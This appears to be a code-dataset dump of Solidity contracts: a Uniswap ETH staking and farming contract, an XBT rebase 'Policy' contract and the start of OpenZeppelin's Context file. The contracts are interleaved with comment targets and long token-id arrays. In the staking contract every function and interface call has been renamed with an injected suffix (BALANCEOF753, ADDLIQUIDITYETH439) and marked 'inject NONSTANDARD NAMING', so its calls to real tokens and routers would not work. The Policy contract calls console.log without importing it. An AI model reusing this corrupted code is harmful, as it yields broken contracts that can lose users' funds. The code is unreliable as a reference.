router = IUniswapV2Router02(_routerAddress);
factory = IUniswapV2Factory(router.FACTORY423());
weth = router.WETH656();
treasury = msg.sender;
pairAddress = factory.CREATEPAIR119(address(token), weth);
// Calc reward rate
rewardRate = rewardAllocation.DIV283(halving_duration255);
// Init whitelist
_SETUPWHITELISTS161(_whitelists);
whitelistEndTimestamp = farmingStartTimestamp.ADD393(whitelist_duration869);
}
receive() external payable {
emit RECEIVED501(msg.sender, msg.value);
}
function STAKE961() external payable NONREENTRANT384 { //inject NONSTANDARD NAMING
_CHECKFARMING62();
_UPDATEREWARD485(msg.sender);
_HALVING349();
require(msg.value > 0, 'Cannot stake 0');
require(!address(msg.sender).ISCONTRACT204(), 'Please use your individual account');
// If we are still in whitelist duration
if (whitelistEndTimestamp >= block.timestamp) {
require(whitelists[msg.sender], 'Only whitelisted address can stake right now');
whitelistBalance[msg.sender] = whitelistBalance[msg.sender].ADD393(msg.value);
require(whitelistBalance[msg.sender] <= whitelist_stake_limit67, 'Cannot stake more than allowed in whitelist period');
}
// 10% compensation fee
// since dev doesn't hold any initial supply
uint256 fee = msg.value.DIV283(10);
uint256 amount = msg.value.SUB829(fee);
treasury.transfer(fee);
uint256 ethAmount = IERC20(weth).BALANCEOF753(pairAddress);
uint256 tokenAmount = IERC20(token).BALANCEOF753(pairAddress);
// If eth amount = 0 then set initial price to 1 eth = 2 twis
uint256 amountTokenDesired = ethAmount == 0 ? (amount * 2) : amount.MUL131(tokenAmount).DIV283(ethAmount);
// Mint borrowed twis
token.MINT750(address(this), amountTokenDesired);
// Add liquidity in uniswap
uint256 amountETHDesired = amount;
IERC20(token).APPROVE213(address(router), amountTokenDesired);
(,, uint256 liquidity) = router.ADDLIQUIDITYETH439{value : amountETHDesired}(address(token), amountTokenDesired, 1, 1, address(this), block.timestamp + 1 days);
// Add LP token to total supply
_totalSupply = _totalSupply.ADD393(liquidity);
// Add to balance
accountInfos[msg.sender].balance = accountInfos[msg.sender].balance.ADD393(liquidity);
// Set peak balance
if (accountInfos[msg.sender].balance > accountInfos[msg.sender].peakBalance) {
accountInfos[msg.sender].peakBalance = accountInfos[msg.sender].balance;
}
// Set stake timestamp as withdraw timestamp
// to prevent withdraw immediately after first staking
if (accountInfos[msg.sender].withdrawTimestamp == 0) {
accountInfos[msg.sender].withdrawTimestamp = block.timestamp;
}
emit STAKED534(msg.sender, msg.value, liquidity);
}
function WITHDRAW91() external NONREENTRANT384 { //inject NONSTANDARD NAMING
_CHECKFARMING62();
_UPDATEREWARD485(msg.sender);
_HALVING349();
require(accountInfos[msg.sender].withdrawTimestamp + 1 days <= block.timestamp, 'You must wait 1 day since your last withdraw or stake');
require(accountInfos[msg.sender].balance > 0, 'Cannot withdraw 0');
// Limit withdraw LP token
uint256 amount = accountInfos[msg.sender].peakBalance.DIV283(withdraw_limit638);
if (accountInfos[msg.sender].balance < amount) {
amount = accountInfos[msg.sender].balance;
}
// Reduce total supply
_totalSupply = _totalSupply.SUB829(amount);
// Reduce balance
accountInfos[msg.sender].balance = accountInfos[msg.sender].balance.SUB829(amount);
// Set timestamp
accountInfos[msg.sender].withdrawTimestamp = block.timestamp;
// Remove liquidity in uniswap
IERC20(pairAddress).APPROVE213(address(router), amount);
(uint256 tokenAmount, uint256 ethAmount) = router.REMOVELIQUIDITY294(address(token), weth, amount, 0, 0, address(this), block.timestamp + 1 days);
// Burn borrowed twis
token.BURN945(address(this), tokenAmount);
// Withdraw ETH and send to sender
IWETH(weth).WITHDRAW91(ethAmount);
msg.sender.transfer(ethAmount);
emit WITHDRAWN851(msg.sender, ethAmount, amount);
}
function CLAIM763() external NONREENTRANT384 { //inject NONSTANDARD NAMING
_CHECKFARMING62();
_UPDATEREWARD485(msg.sender);
_HALVING349();
uint256 reward = accountInfos[msg.sender].reward;
require(reward > 0, 'There is no reward to claim');
if (reward > 0) {
// Reduce first
accountInfos[msg.sender].reward = 0;
// Apply tax
uint256 taxDenominator = CLAIMTAXDENOMINATOR467();
uint256 tax = taxDenominator > 0 ? reward.DIV283(taxDenominator) : 0;
uint256 net = reward.SUB829(tax);
// Send reward
token.MINT750(msg.sender, net);
if (tax > 0) {
// Burn taxed token
token.MINT750(burn_address389, tax);
}
emit CLAIMED515(msg.sender, reward);
}
}
function TOTALSUPPLY622() external view returns (uint256) { //inject NONSTANDARD NAMING
return _totalSupply;
}
function BALANCEOF753(address account) external view returns (uint256) { //inject NONSTANDARD NAMING
return accountInfos[account].balance;
}
function BURNEDTOKENAMOUNT890() public view returns (uint256) { //inject NONSTANDARD NAMING
return token.BALANCEOF753(burn_address389);
}
function REWARDPERTOKEN638() public view returns (uint256) { //inject NONSTANDARD NAMING
if (_totalSupply == 0) {
return rewardPerTokenStored;
}
return rewardPerTokenStored
.ADD393(
LASTREWARDTIMESTAMP705()
.SUB829(lastUpdateTimestamp)
.MUL131(rewardRate)
.MUL131(1e18)
.DIV283(_totalSupply)
);
}
function LASTREWARDTIMESTAMP705() public view returns (uint256) { //inject NONSTANDARD NAMING
return Math.MIN629(block.timestamp, halvingTimestamp);
}
function REWARDEARNED380(address account) public view returns (uint256) { //inject NONSTANDARD NAMING
return accountInfos[account].balance.MUL131(
REWARDPERTOKEN638().SUB829(accountInfos[account].rewardPerTokenPaid)
)
.DIV283(1e18)
.ADD393(accountInfos[account].reward);
}
// Token price in eth
function TOKENPRICE205() public view returns (uint256) { //inject NONSTANDARD NAMING
uint256 ethAmount = IERC20(weth).BALANCEOF753(pairAddress);
uint256 tokenAmount = IERC20(token).BALANCEOF753(pairAddress);
return tokenAmount > 0 ?
// Current price
ethAmount.MUL131(1e18).DIV283(tokenAmount) :
// Initial price
(uint256(1e18).DIV283(2));
}
function CLAIMTAXDENOMINATOR467() public view returns (uint256) { //inject NONSTANDARD NAMING
if (block.timestamp < farmingStartTimestamp + 1 days) {
return 4;
} else if (block.timestamp < farmingStartTimestamp + 2 days) {
return 5;
} else if (block.timestamp < farmingStartTimestamp + 3 days) {
return 10;
} else if (block.timestamp < farmingStartTimestamp + 4 days) {
return 20;
} else {
return 0;
}
}
function _UPDATEREWARD485(address account) internal { //inject NONSTANDARD NAMING
rewardPerTokenStored = REWARDPERTOKEN638();
lastUpdateTimestamp = LASTREWARDTIMESTAMP705();
if (account != address(0)) {
accountInfos[account].reward = REWARDEARNED380(account);
accountInfos[account].rewardPerTokenPaid = rewardPerTokenStored;
}
}
// Do halving when timestamp reached
function _HALVING349() internal { //inject NONSTANDARD NAMING
if (block.timestamp >= halvingTimestamp) {
rewardAllocation = rewardAllocation.DIV283(2);
rewardRate = rewardAllocation.DIV283(halving_duration255);
halvingTimestamp = halvingTimestamp.ADD393(halving_duration255);
_UPDATEREWARD485(msg.sender);
emit HALVING833(rewardAllocation);
}
}
// Check if farming is started
function _CHECKFARMING62() internal { //inject NONSTANDARD NAMING
require(farmingStartTimestamp <= block.timestamp, 'Please wait until farming started');
if (!farmingStarted) {
farmingStarted = true;
halvingTimestamp = block.timestamp.ADD393(halving_duration255);
lastUpdateTimestamp = block.timestamp;
}
}
function _SETUPWHITELISTS161(address[] memory addresses) internal { //inject NONSTANDARD NAMING
for (uint256 i = 0; i < addresses.length; i++) {
whitelists[addresses[i]] = true;
}
}
}
|
inject NONSTANDARD NAMING
|
function SYNC14() external;
| 12,607,384 |
[
1,
22170,
18708,
882,
18264,
423,
2192,
1360,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
7068,
10346,
3461,
1435,
3903,
31,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity >=0.6.0;
// import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol";
import "./lib/SafeMathInt.sol";
import "./lib/UInt256Lib.sol";
import "./XBT.sol";
import '@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol';
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// // performs chained getAmountOut calculations on any number of pairs
// function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
// require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
// amounts = new uint[](path.length);
// amounts[0] = amountIn;
// for (uint i; i < path.length - 1; i++) {
// (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
// amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
// }
// }
// // performs chained getAmountIn calculations on any number of pairs
// function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
// require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
// amounts = new uint[](path.length);
// amounts[amounts.length - 1] = amountOut;
// for (uint i = path.length - 1; i > 0; i--) {
// (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
// amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
// }
// }
}
/**
* @title XBT Monetary Supply Policy
* @dev This is an implementation of the XBT Ideal Money protocol.
* XBT operates symmetrically on expansion and contraction. It will both split and
* combine coins to maintain a stable unit price.
*
* This component regulates the token supply of the XBT ERC20 token in response to
* market oracles.
*/
contract Policy is OwnableUpgradeSafe {
using SafeMath for uint256;
using SafeMathInt for int256;
using UInt256Lib for uint256;
struct Transaction {
bool enabled;
address destination;
bytes data;
}
event TransactionFailed(address indexed destination, uint index, bytes data);
// Stable ordering is not guaranteed.
Transaction[] public transactions;
event LogRebase(
uint256 indexed epoch,
uint256 exchangeRate,
// uint256 cpi,
int256 requestedSupplyAdjustment,
uint256 timestampSec
);
XBT public XBTs;
// If the current exchange rate is within this fractional distance from the target, no supply
// update is performed. Fixed point number--same format as the rate.
// (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change.
// DECIMALS Fixed point number.
uint256 public deviationThreshold;
// The rebase lag parameter, used to dampen the applied supply adjustment by 1 / rebaseLag
// Check setRebaseLag comments for more details.
// Natural number, no decimal places.
uint256 public rebaseLag;
// More than this much time must pass between rebase operations.
uint256 public minRebaseTimeIntervalSec;
// Block timestamp of last rebase operation
uint256 public lastRebaseTimestampSec;
// The rebase window begins this many seconds into the minRebaseTimeInterval period.
// For example if minRebaseTimeInterval is 24hrs, it represents the time of day in seconds.
uint256 public rebaseWindowOffsetSec;
// The length of the time window where a rebase operation is allowed to execute, in seconds.
uint256 public rebaseWindowLengthSec;
// The number of rebase cycles since inception
uint256 public epoch;
uint256 private constant DECIMALS = 8;
// Due to the expression in computeSupplyDelta(), MAX_RATE * MAX_SUPPLY must fit into an int256.
// Both are 18 decimals fixed point numbers.
uint256 private constant MAX_RATE = 10**8 * 10**DECIMALS;
// MAX_SUPPLY = MAX_INT256 / MAX_RATE
uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE;
uint256 private constant PRICE_PRECISION = 10**2;
//IUniswapV2Pair private _pairXBTWBTC;
IUniswapV2Pair public _pairXBTWBTC;
function setPairXBTWBTC(address factory, address token0, address token1)
external
onlyOwner
{
_pairXBTWBTC = IUniswapV2Pair(UniswapV2Library.pairFor(factory, token0, token1));
}
// function setToken0Token1(address token0, address token1)
// external
// onlyOwner
// {
// (address token0, address token1) = UniswapV2Library.sortTokens( token0, token1);
// }
function getPriceXBT_WBTC() internal returns (uint256) {
require(address(_pairXBTWBTC) != address(0), "error: address(_pairXBTWBTC) == address(0)" );
(uint256 reserves0, uint256 reserves1,) = _pairXBTWBTC.getReserves();
console.log("reserves0 %s", reserves0);
console.log("reserves1 %s", reserves1);
// reserves1 = WBTC (8 decimals)
// reserves0 = XBT (8 decimals)
return reserves0.mul(PRICE_PRECISION).div(reserves1);
}
/**
* @notice Initiates a new rebase operation, provided the minimum time period has elapsed.
*
* @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag
* Where DeviationFromTargetRate is (exchangeRate - targetRate) / targetRate
* and targetRate is WBTC/USDC
*/
function rebase() external {
require(msg.sender == tx.origin, "error: msg.sender == tx.origin"); // solhint-disable-line avoid-tx-origin
require(inRebaseWindow(), "Not inRebaseWindow");
// This comparison also ensures there is no reentrancy.
require(lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now, "reentrancy error");
// Snap the rebase time to the start of this window.
lastRebaseTimestampSec = now.sub(
now.mod(minRebaseTimeIntervalSec)).add(rebaseWindowOffsetSec);
epoch = epoch.add(1);
uint256 targetRate = 1 * PRICE_PRECISION; // 1 XBT = 1 WBTC ==> 1.mul(10 ** PRICE_PRECISION);
uint256 exchangeRate = getPriceXBT_WBTC();
console.log("exchangeRate %s",exchangeRate );
if (exchangeRate > MAX_RATE) {
exchangeRate = MAX_RATE;
}
int256 supplyDelta = computeSupplyDelta(exchangeRate, targetRate);
// Apply the Dampening factor.
supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe());
if (supplyDelta > 0 && XBTs.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) {
supplyDelta = (MAX_SUPPLY.sub(XBTs.totalSupply())).toInt256Safe();
}
uint256 supplyAfterRebase = XBTs.rebase(epoch, supplyDelta);
assert(supplyAfterRebase <= MAX_SUPPLY);
emit LogRebase(epoch, exchangeRate, supplyDelta, now);
for (uint i = 0; i < transactions.length; i++) {
Transaction storage t = transactions[i];
if (t.enabled) {
bool result =
externalCall(t.destination, t.data);
if (!result) {
emit TransactionFailed(t.destination, i, t.data);
revert("Transaction Failed");
}
}
}
}
/**
* @notice Adds a transaction that gets called for a downstream receiver of rebases
* @param destination Address of contract destination
* @param data Transaction data payload
*/
function addTransaction(address destination, bytes calldata data)
external
onlyOwner
{
transactions.push(Transaction({
enabled: true,
destination: destination,
data: data
}));
}
/**
* @param index Index of transaction to remove.
* Transaction ordering may have changed since adding.
*/
function removeTransaction(uint index)
external
onlyOwner
{
require(index < transactions.length, "index out of bounds");
if (index < transactions.length - 1) {
transactions[index] = transactions[transactions.length - 1];
}
// transactions.length--;
transactions.pop();
}
/**
* @param index Index of transaction. Transaction ordering may have changed since adding.
* @param enabled True for enabled, false for disabled.
*/
function setTransactionEnabled(uint index, bool enabled)
external
onlyOwner
{
require(index < transactions.length, "index must be in range of stored tx list");
transactions[index].enabled = enabled;
}
/**
* @return Number of transactions, both enabled and disabled, in transactions list.
*/
function transactionsSize()
external
view
returns (uint256)
{
return transactions.length;
}
/**
* @dev wrapper to call the encoded transactions on downstream consumers.
* @param destination Address of destination contract.
* @param data The encoded data payload.
* @return True on success
*/
function externalCall(address destination, bytes memory data)
internal
returns (bool)
{
bool result;
assembly { // solhint-disable-line no-inline-assembly
// "Allocate" memory for output
// (0x40 is where "free memory" pointer is stored by convention)
let outputAddress := mload(0x40)
// First 32 bytes are the padded length of data, so exclude that
let dataAddress := add(data, 32)
result := call(
// 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB)
// + callValueTransferGas (9000) + callNewAccountGas
// (25000, in case the destination address does not exist and needs creating)
// https://solidity.readthedocs.io/en/v0.6.12/yul.html#yul
sub(gas() , 34710),
destination,
0, // transfer value in wei
dataAddress,
mload(data), // Size of the input, in bytes. Stored in position 0 of the array.
outputAddress,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/**
* @notice Sets the deviation threshold fraction. If the exchange rate given by the market
* oracle is within this fractional distance from the targetRate, then no supply
* modifications are made. DECIMALS fixed point number.
* @param deviationThreshold_ The new exchange rate threshold fraction.
*/
function setDeviationThreshold(uint256 deviationThreshold_)
external
onlyOwner
{
deviationThreshold = deviationThreshold_;
}
/**
* @notice Sets the rebase lag parameter.
It is used to dampen the applied supply adjustment by 1 / rebaseLag
If the rebase lag R, equals 1, the smallest value for R, then the full supply
correction is applied on each rebase cycle.
If it is greater than 1, then a correction of 1/R of is applied on each rebase.
* @param rebaseLag_ The new rebase lag parameter.
*/
function setRebaseLag(uint256 rebaseLag_)
external
onlyOwner
{
require(rebaseLag_ > 0);
rebaseLag = rebaseLag_;
}
/**
* @notice Sets the parameters which control the timing and frequency of
* rebase operations.
* a) the minimum time period that must elapse between rebase cycles.
* b) the rebase window offset parameter.
* c) the rebase window length parameter.
* @param minRebaseTimeIntervalSec_ More than this much time must pass between rebase
* operations, in seconds.
* @param rebaseWindowOffsetSec_ The number of seconds from the beginning of
the rebase interval, where the rebase window begins.
* @param rebaseWindowLengthSec_ The length of the rebase window in seconds.
*/
function setRebaseTimingParameters(
uint256 minRebaseTimeIntervalSec_,
uint256 rebaseWindowOffsetSec_,
uint256 rebaseWindowLengthSec_)
external
onlyOwner
{
require(minRebaseTimeIntervalSec_ > 0);
require(rebaseWindowOffsetSec_ < minRebaseTimeIntervalSec_);
minRebaseTimeIntervalSec = minRebaseTimeIntervalSec_;
rebaseWindowOffsetSec = rebaseWindowOffsetSec_;
rebaseWindowLengthSec = rebaseWindowLengthSec_;
}
/**
* @dev ZOS upgradable contract initialization method.
* It is called at the time of contract creation to invoke parent class initializers and
* initialize the contract's state variables.
*/
function initialize( XBT XBTs_)
public
initializer
{
OwnableUpgradeSafe.__Ownable_init();
// deviationThreshold = 0.05e8 = 5e6
deviationThreshold = 5 * 10 ** (DECIMALS-2);
rebaseLag = 8 * 3 * 30; // 8 hours * 3 * 30 days
minRebaseTimeIntervalSec = 8 * 60 * 60; // 8 hours;
rebaseWindowOffsetSec = 0; //
rebaseWindowLengthSec = 8 * 60 * 60;//60 * 60; // 60 minutes;
lastRebaseTimestampSec = 0;
epoch = 0;
XBTs = XBTs_;
}
/**
* @return If the latest block timestamp is within the rebase time window it, returns true.
* Otherwise, returns false.
*/
function inRebaseWindow() public view returns (bool) {
return (
now.mod(minRebaseTimeIntervalSec) >= rebaseWindowOffsetSec &&
now.mod(minRebaseTimeIntervalSec) < (rebaseWindowOffsetSec.add(rebaseWindowLengthSec))
);
}
/**
* @return Computes the total supply adjustment in response to the exchange rate
* and the targetRate.
*/
function computeSupplyDelta(uint256 rate, uint256 targetRate)
private
view
returns (int256)
{
if (withinDeviationThreshold(rate, targetRate)) {
return 0;
}
int256 targetRateSigned = targetRate.toInt256Safe();
int256 supply = XBTs.totalSupply().toInt256Safe();
return supply.mul(rate.toInt256Safe().sub(targetRateSigned).div(targetRateSigned));
}
/**
* @param rate The current exchange rate, an 18 decimal fixed point number.
* @param targetRate The target exchange rate, an 18 decimal fixed point number.
* @return If the rate is within the deviation threshold from the target rate, returns true.
* Otherwise, returns false.
*/
function withinDeviationThreshold(uint256 rate, uint256 targetRate)
private
view
returns (bool)
{
uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold)
.div(10 ** DECIMALS);
return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold)
|| (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold);
}
}
|
* @param index Index of transaction. Transaction ordering may have changed since adding. @param enabled True for enabled, false for disabled./
|
function setTransactionEnabled(uint index, bool enabled)
external
onlyOwner
{
require(index < transactions.length, "index must be in range of stored tx list");
transactions[index].enabled = enabled;
}
| 1,789,733 |
[
1,
1615,
3340,
434,
2492,
18,
5947,
9543,
2026,
1240,
3550,
3241,
6534,
18,
225,
3696,
1053,
364,
3696,
16,
629,
364,
5673,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
444,
3342,
1526,
12,
11890,
770,
16,
1426,
3696,
13,
203,
3639,
3903,
203,
3639,
1338,
5541,
203,
565,
288,
203,
3639,
2583,
12,
1615,
411,
8938,
18,
2469,
16,
315,
1615,
1297,
506,
316,
1048,
434,
4041,
2229,
666,
8863,
203,
3639,
8938,
63,
1615,
8009,
5745,
273,
3696,
31,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at BscScan.com on 2021-12-04
*/
/**
*Submitted for verification at BscScan.com on 2021-07-02
*/
// File: @openzeppelin/contracts/utils/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
